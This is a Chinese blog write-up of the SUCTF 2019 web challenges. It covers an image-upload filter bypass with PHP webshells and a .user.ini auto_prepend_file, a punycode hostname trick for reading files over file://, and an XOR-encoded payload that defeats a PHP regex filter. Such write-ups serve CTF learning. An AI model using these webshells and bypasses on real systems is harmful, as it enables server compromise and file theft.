Web WriteUps for SUCTF2019

SUCTF 2019

CheckIn

题目是一个文件上传的题目,

先随便上传一个马上去,发现显示:
17nPH0.png

猜测使用了 exif_imagetype() 函数,这样我们可以加文件头如 GIF89a 即可绕过。

然后再上传个图片马,一句话为 <?php @eval($_POST[hz]);?>,发现提示:

17nFEV.png

也就是过滤了 <?,我们换script<script language='php'>eval($_REQUEST[hz]);</script>,上传成功了。

17nkNT.png

并且告诉我们上传的路径,我们访问图片发现又是一个上传界面,我们注意到上传文件夹中包含 index.php,且这里是 nginx ,可以上传 .user.ini,来设置解析,什么是.user.ini?见参考资料,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

所以我们写一个 .user.ini

1
2
GIF89a
auto_prepend_file=shell.gif

写了文件头,上传成功。接下来我们写一个名为 shell.gif 的图片马,上传上去,我们同样用 script 马,上传后,直接访问 uploads/xxxxxxxxxxxxxxx/index.php?system('cat /flag');即可得到 flag。

Pythonginx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

本地大概理了一下代码功能 url=http://suctf.ccc/?id=1#123

17ndbt.png

通过源码分析可以知道大概的思路是利用 file:// 去读文件,同时hostname不能是suctf.cc,然后注意到newhost.append(h.encode('idna').decode('utf-8')),在github上有一篇东西。

https://github.com/python-hyper/hyperlink/issues/19

上面的字符可以代表 c/o,于是我们可以利用这个构造 suctf.cc/opt/../../ 读取文件,当然还有其它编码也可以,其实预期是利用 unicode2ascii 的域名转换导致的解析问题,在 blackhat HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization 中有提到。

17n0VP.png

也就是找到一个可以通过 punycode 转为 c 的字符,引用de1ta的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if __name__=="__main__":
get_unicode()

可得如下:

1
2
3
4
5
6
7
8
str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

任一可以通过检测。

然后我们通过审计网页的源代码,可以发现提示了nginx,我们去读一下nginx的配置文件:

file://suctf.cC/../../../../usr/local/nginx/conf/nginx.conf

17ny8g.png

可以找到flag的路径,接下来直接读取flag:

file://suctf.cC/../../../../usr/fffffflag

EasyPHP

这题是代码审计,一看就是各种绕。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

首先大概要绕过的点:

  1. 传入字符长度可以构造 _GET[x] 来绕过
  2. preg_match 可以通过异或来绕过
  3. count_chars()>12 的重复字符串绕过

$hhh 的长度不能超过18,其次,看一下这个正则匹配

1
preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)

因此我们可以写脚本来 Fuzz 一下可用的有哪些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env
#encoding=utf-8
import requests

def main():
url = 'http://ip/?_=' # 具体环境url
for i in range(256):
r = requests.get(url=url+chr(i))
if len(r.text) != 19:
if i > 127:
print(hex(i), end=' ') # 不可见字符用hex
else:
print(chr(i), end=' ') # 可见字符直接打印


if __name__ == '__main__':
main()

然后我们可以得到一下可用的字符。

1
! # $ % & ( ) * - / 0 : ; < > ? @ \ ] ^ { } 0x80 0x81 0x82 0x83 0x84 0x85 0x86 0x87 0x88 0x89 0x8a 0x8b 0x8c 0x8d 0x8e 0x8f 0x90 0x91 0x92 0x93 0x94 0x95 0x96 0x97 0x98 0x99 0x9a 0x9b 0x9c 0x9d 0x9e 0x9f 0xa0 0xa1 0xa2 0xa3 0xa4 0xa5 0xa6 0xa7 0xa8 0xa9 0xaa 0xab 0xac 0xad 0xae 0xaf 0xb0 0xb1 0xb2 0xb3 0xb4 0xb5 0xb6 0xb7 0xb8 0xb9 0xba 0xbb 0xbc 0xbd 0xbe 0xbf 0xc0 0xc1 0xc2 0xc3 0xc4 0xc5 0xc6 0xc7 0xc8 0xc9 0xca 0xcb 0xcc 0xcd 0xce 0xcf 0xd0 0xd1 0xd2 0xd3 0xd4 0xd5 0xd6 0xd7 0xd8 0xd9 0xda 0xdb 0xdc 0xdd 0xde 0xdf 0xe0 0xe1 0xe2 0xe3 0xe4 0xe5 0xe6 0xe7 0xe8 0xe9 0xea 0xeb 0xec 0xed 0xee 0xef 0xf0 0xf1 0xf2 0xf3 0xf4 0xf5 0xf6 0xf7 0xf8 0xf9 0xfa 0xfb 0xfc 0xfd 0xfe 0xff 

接下来考虑变量,因为还有 $,然后最短的变量就是 $_GET,在浏览器中这些字符都是敏感字符,如果不加单引号双引号,浏览器就把他们用起来了(浏览器进行解析,而不是php语言)所以我们要使用不可视的字符来进行异或脚本的基础字典。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 网上偷的脚本
def XOR():
_=[]
G=[]
E=[]
T=[]
print(a)
for i in a[27:]:# 截取a列表27后面的数据,目的是避开可视字符。我们需要不可视字符来异或
for j in a[27:]:
tem = (i ^ j)
if(chr(tem) == "_"):
_.append((str(hex(i)[2:])) + "^" + str(hex(j)[2:]))
if(chr(tem) == "G"):
G.append((str(hex(i)[2:])) + "^" + str(hex(j)[2:]))
if (chr(tem) == "E"):
E.append((str(hex(i)[2:])) + "^" + str(hex(j)[2:]))
if (chr(tem) == "T"):
T.append((str(hex(i)[2:])) + "^" + str(hex(j)[2:]))

print(_)
print(G)
print(E)
print(T)

结果很多,我就挑取比较好做的,取 %85%85%85%85^%da%c2%c0%d1 ,然后还要考虑

1
2
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

一波操作之后构造如下:

1
2
3
?_=${%85%85%85%85^%da%c2%c0%d1}{%85}();&%85=get_the_flag
?_=$_GET{%85}();&%85=get_the_flag
构造调用get_the_flag(),其中%85为不可见字符,为了绕过conut_chars()。这个函数是统计一段字符串中重复出现的字符串,题目条件是不能超过12

尝试发现已经绕过了,接下来就是第二层绕过了。


Web WriteUps for SUCTF2019
https://52hertz.tech/2019/08/26/SUCTF2019_WriteUp/
作者
Ustin1an
发布于
2019年8月26日
许可协议